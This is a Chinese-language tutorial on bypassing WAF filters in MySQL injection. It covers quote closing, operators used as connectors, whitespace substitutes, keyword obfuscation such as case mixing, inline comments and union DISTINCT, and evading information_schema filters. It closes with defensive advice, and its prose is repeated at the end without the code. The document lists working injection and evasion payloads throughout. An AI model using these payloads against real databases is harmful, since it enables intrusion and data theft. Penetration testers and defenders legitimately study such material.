千方百技第六期|MySQL注入绕过思路分享
字数 704 2025-08-11 08:36:00

MySQL注入绕过思路详解

一、构造闭合基础

MySQL注入的第一步是构造正确的SQL语句闭合,主要分为两种方式:

  1. 逃逸字符

    • 单双引号(' 或 ")
    • 数字型注入不需要逃逸字符
    • 复杂SQL可能需要括号等辅助闭合
  2. 注释字符

    • 用于闭合后面的原始字符
    • 常用注释符:#-- (注意空格)、/* */

示例闭合:

' OR 1=1# -- 对前面单引号闭合,并注释掉后面内容

二、连接字符技术

连接字符可直接在后面紧跟着执行函数,绕过WAF检测:

有效连接字符

& MOD and or not div + -

示例对比

'sleep(1)# -- 执行失败
'-sleep(1)# -- 执行成功(减号作为连接字符)

特殊连接字符特性

select-1; -- 正常执行
SELECT-1; -- 正常执行
SELECT+1; -- 正常执行

三、空格绕过技术

1. 完全替代空格的字符

09 (Tab)
0A (换行)
0B (垂直制表符)
0C (换页)
0D (回车)
A0 (不换行空格)
20 (普通空格)
/u0020 (Unicode空格)

2. 部分替代空格的字符

() + - @ !

示例

select(1)
select'',1
select-1
select@1
select!1

特殊限制场景

以下情况无法使用替代字符:

into outfile
limit 1,1

四、关键字绕过技术

1. 混淆绕过

  • 使用官方语法混淆:

    union all select
    
  • 添加脏数据:

    /*大量随机注释*/union select
    
  • 大小写混合:

    UniOn SeLeCt
    
  • 使用括号:

    union(select)
    
  • 特殊字符分隔:

    union%0dselect
    

2. 等效替代

  • 使用DISTINCT:

    union DISTINCT select
    
  • 使用其他功能相同的SQL语法

五、实际绕过案例

案例1:绕过UNION SELECT拦截

-- 原始被拦截语句
union select 1,2,3 from information_schema.tables

-- 绕过方式1
union/*xxxx*/select 1,2,3 from information_schema.tables

-- 绕过方式2
UnIoN SeLeCt 1,2,3 from information_schema.tables

-- 绕过方式3
union all select 1,2,3 from information_schema.tables

案例2:绕过information_schema过滤

-- 原始被拦截语句
select table_name from information_schema.tables

-- 绕过方式1
select table_name from `information_schema`.tables

-- 绕过方式2
select table_name from mysql.innodb_table_stats

六、综合绕过思路

  1. 确定注入点闭合方式:先测试单引号、双引号等闭合方式
  2. 测试连接字符:尝试使用+-等连接符绕过基础检测
  3. 处理空格限制:使用替代字符或编码绕过空格过滤
  4. 混淆关键字:对关键SQL指令进行大小写、注释等混淆
  5. 寻找等效语法:使用功能相同但写法不同的SQL语法
  6. 逐步测试:从简单到复杂,逐步测试各种绕过技术

七、防御建议

  1. 使用参数化查询或预编译语句
  2. 对用户输入进行严格过滤和转义
  3. 限制数据库用户权限
  4. 使用WAF但注意更新规则
  5. 定期进行安全测试和代码审计

通过系统性地理解和应用这些绕过技术,可以更有效地测试和防护SQL注入漏洞。

MySQL注入绕过思路详解 一、构造闭合基础 MySQL注入的第一步是构造正确的SQL语句闭合,主要分为两种方式: 逃逸字符 : 单双引号(' 或 ") 数字型注入不需要逃逸字符 复杂SQL可能需要括号等辅助闭合 注释字符 : 用于闭合后面的原始字符 常用注释符: # 、 -- (注意空格)、 /* */ 示例闭合: 二、连接字符技术 连接字符可直接在后面紧跟着执行函数,绕过WAF检测: 有效连接字符 示例对比 特殊连接字符特性 三、空格绕过技术 1. 完全替代空格的字符 2. 部分替代空格的字符 示例 特殊限制场景 以下情况无法使用替代字符: 四、关键字绕过技术 1. 混淆绕过 使用官方语法混淆: 添加脏数据: 大小写混合: 使用括号: 特殊字符分隔: 2. 等效替代 使用DISTINCT: 使用其他功能相同的SQL语法 五、实际绕过案例 案例1:绕过UNION SELECT拦截 案例2:绕过information_ schema过滤 六、综合绕过思路 确定注入点闭合方式 :先测试单引号、双引号等闭合方式 测试连接字符 :尝试使用 + 、 - 等连接符绕过基础检测 处理空格限制 :使用替代字符或编码绕过空格过滤 混淆关键字 :对关键SQL指令进行大小写、注释等混淆 寻找等效语法 :使用功能相同但写法不同的SQL语法 逐步测试 :从简单到复杂,逐步测试各种绕过技术 七、防御建议 使用参数化查询或预编译语句 对用户输入进行严格过滤和转义 限制数据库用户权限 使用WAF但注意更新规则 定期进行安全测试和代码审计 通过系统性地理解和应用这些绕过技术,可以更有效地测试和防护SQL注入漏洞。